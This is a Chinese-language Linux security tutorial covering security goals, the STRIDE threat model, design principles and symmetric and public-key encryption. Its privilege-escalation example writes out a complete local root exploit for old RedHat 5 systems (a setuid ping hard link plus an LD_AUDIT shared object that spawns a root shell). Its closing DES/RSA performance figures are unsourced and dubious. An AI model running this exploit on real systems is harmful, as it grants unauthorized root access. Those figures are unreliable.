Linux操作系统安全-加密和安全
作者：尹正杰
版权声明：原创作品，谢绝转载！否则将追究法律责任。
一.墨菲定律
墨菲定律:
一种心理学效应，是由爱德华·墨菲(Edward A. Murphy)提出的， 原话:如果有两种或两种以上的方式去做某件事情，而其中一种选择方式将导致灾难，则必定有人会做出这种选择。
主要内容:
任何事都没有表面看起来那么简单
所有的事都会比你预计的时间长
会出错的事总会出错
如果你担心某种情况发生，那么它就更有可能发生
二.安全机制
1>.信息安全防护的目标
保密性(Confidentiality):
数据不能泄漏，比如公司的工资是不可以泄漏的。
完整性(Integrity):
要确保数据是完整的，即没有被改过。
可用性(Usability):
比如raid5，当一块硬盘损坏后，依旧是可以正常使用的。
可控制性(Controlability):
比如的集群最大并发处理连接请求是10万，但在某个时刻你的集群需要处理100万连接请求时你得能控制这些链接，如果你强项用只能处理10万连接请求的集群去响应100万个连接请求，可能瞬间集群就崩溃了，可以采取降级处理，比如使用队列措施，分批次处理，每次处理10万请求，分10次处理完成。如果不能有效控制这些请求会导致集群崩溃。
不可否认性(Non-repudiation):
比如你在某宝或者某东网购了一件商品，当快递送到你家门了你不能拒绝说不是你的东西呀，毕竟你是掏过钱的。
2>.安全防护环节
物理安全:
各种设备/主机、机房环境，比如我们可以轻松破解linux的root口令。
系统安全:
主机或设备的操作系统，比如操作系统的的root安全口令，禁止非法用户连接操作系统。
应用安全:
各种网络服务、应用程序，比如控制用户登录，上传，下载等权限。
网络安全:
对网络访问的控制、防火墙规则，例如sshd服务只有特定的用户或ip才能访问。
数据安全:
信息的备份与恢复、加密解密，比如用户的密码存入数据库时应该加密不能使用明文，早期CSDN的数据库事件想必大家都清楚吧，CSDN号称中国第一大开发网站，结果保存用户名的密码是用明文方式存储，这会导致谁有数据库权限，谁就可以拿到全中国所有开发人员的密码。尽管现在它修复了这个问题，该网站数据安全恶劣性导致很多开发人员也懒得去用了。
管理安全:
各种保障性的规范、流程、方法，比如一些重要的打印数据文件想要废弃时需要使用碎纸机处理后才能交给保洁阿姨打扫。
三.安全攻击(STRIDE)
假冒(Spoofing):
比如邮箱存在漏洞的话，就可以想冒充谁就用谁的身份去发送邮件。
篡改(Tampering):
比如胡歌主演的电视剧<<神话>>，赵高篡改了秦始皇的诏书，最终将皇位并没有传给公子扶苏，而是传给了胡亥。
否认(Repudiation):
这种情况在生产环境太正常了，明明是某个开发人员执行错误命令导致线上服务崩溃，还好运维人员有堡垒机记录用户执行的命令，拥有证据是谁干的。
信息泄漏(Information Discloure):
比如著名的telnet服务传输数据使用明文，如果使用telnet协议登录，用户名和密码均可以使用抓包工具进行抓取，在比如http协议，传输数据也是明文的，用户在网页使用登录密码一抓一个准，在比如很多免费Wi-Fi，只要你通过免费Wi-Fi传输数据所有数据流都会走对方的路由网关，如果有铭感信息会直接被抓取到的，身为一个IT人员保护自己的隐私意识还是要有的。
拒绝服务(Denial of Service):
可以使用ping命令发起简单的攻击，导致服务无法为正常客户端提供响应，从而导致拒绝服务的状态，这种方式建议大家使用警ping策略。
提升权限(Elevation of Privilege):
比如RedHat5操作系统早期有个漏洞，只要安装了gcc软件包，如果你直到一个普通账号就可以把它提示成root用户权限。
第一步，安装gcc工具包: yum -y install gcc 第二步,使用当前用户(yinzhengjie)进行提权操作: mkdir /tmp/yinzhengjie ln /bin/ping /tmp/yinzhengjie/test exec 3 < /tmp/yinzhengjie/test rm -rf /tmp/yinzhengjie cat > /tmp/yinzhengjie.c <<EOF void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } EOF gcc -w -fPIC -shared -o /tmp/yinzhengjie /tmp/yinzhengjie.c LD_AUDIT="$ORIGIN" exec /proc/self/fd/3 &> /dev/null
四.安全设计基本原则
使用成熟的安全系统:
不要当小白鼠，比如2019年刚发布的CentOS 8.x版本不推荐大家直接在生产环境中使用。当年大众点评上来就用CentOS 6.2(改版本存在bug)，结果185天后自动重启服务器。估计该公司几千台服务器陆陆续续的重启服务器，这意味着会对公司造成严重损失。
以小人之心度输入数据:
要考虑到用户输入的数据不一定会很规范。
外部系统是不安全的:
外部系统主要是指暴漏在公网的服务，比如阿里每天都会有上千万次攻击，因此外部基本上都会有防火墙。其实内部网络也是不太安全的，据说80%的攻击均来自内网造成的。我们直到外网防护有防火墙，其实内网也有类似于防火墙之类的软件比如防水墙。
最小授权:
尽量给开发，测试权限给到最小，只要能满足要求就好。
减少外部接口:
尽量减少和外部连接的通道，比如USB端口使用。
缺省使用安全模式:
比如尽量使用selinux，不过在国内使用该软件的相对较少。
安全不是似是而非:
需要通过一些技术手段来保证的，比如网络设备的端口隔离，vlan之间的是否可以相互通信，防火墙策略是否需要配置，selinux是否需要开启，应用层软件是否需要权限验证等等。
从STRIDE思考:
参考标题三提到的STRIDE相关策略。
在入口处检查:
在入口出做好安全检查，确保不在黑名单之列的话就可以考虑继续为请求响应。
从管理上保护好你的系统:
不仅仅是指技术，还有管理流程等。
五.安全算法
常用安全技术(安全技术会涉及到相应的算法来保证)
认证：
验证用户身份。
授权:
验证身份后，需要给用户进行授权。
审计:
记录用户的操作，直到每个用户都执行了哪些命令便于追责。
安全通信:
数据通信过程中我们需要进行加密，比如https,ssh等协议。
加密算法和协议
对称加密
公钥加密(又称为:"非对称加密算法")
单向加密
认证协议
温馨提示:
加密涉及到算法和秘钥，其中算法是公开的，而秘钥则不公开。
六.对称加密算法
对称加密(加密和解密使用同一个密钥)，市面上比较流行的对称加密算法如下所示: DES:
Data Encryption Standard，56bits(即基于七个字节的数据加密标准) 3DES:
在DES的基础上反复加密3次。 AES:
Advanced Ebcryption Standard，它支持128bits(16个字节的数据加密标准),192bits(24个字节的数据加密标准),256bits(32个字节的数据加密标准) 商业加密算法:Blowfish，Twofish 其他加密算法:IDEA，RC6，CAST5 特性: (1)加密、解密使用同一个密钥，效率高 (2)将原始数据分割成固定大小的块，逐个进行加密 缺陷: (1)密钥过多 (2)密钥分发 (3)数据来源无法确认
七.非对称加密算法
公钥加密(密钥是成对出现):
公钥:
公开给所有人;public key
私钥:
自己留存，必须保证其私密性;secret key，
比如公司财务部使用的U盾就是私钥，但为了方式U盾丢失会使用对称秘钥进行加密，这也就是为什么财务人员使用U盾时需要输入密码，如果密码忘记了就只能去银行重新重置密码了。
比如数字证书就是用私钥加密数据后在传输，只有公钥才能解开加密数据。
特点:
用公钥加密数据，只能使用与之配对的私钥解密;反之亦然(即使用私钥加密的数据只能使用与之配对的公钥进行解密)
功能:
数字签名:
主要在于让接收方确认发送方身份
对称密钥交换:
发送方用对方的公钥加密一个对称密钥后发送给对方
数据加密:
适合加密较小数据
缺点:
密钥长，加密解密效率低下
算法:
RSA(支持加密，数字签名，它的应用较广)
DSA(只支持数字签名)
ELGamal
八.
据有人统计:
使用DES算法(对称加密)
加密1G数据，加密后变为2G数据，加密用时4分钟，解密用时8分钟。
使用RSA算法(非对称加密)
加密1G数据，加密后文件大小不变还未1G，加密用时1分钟，解密用时64小时。
九.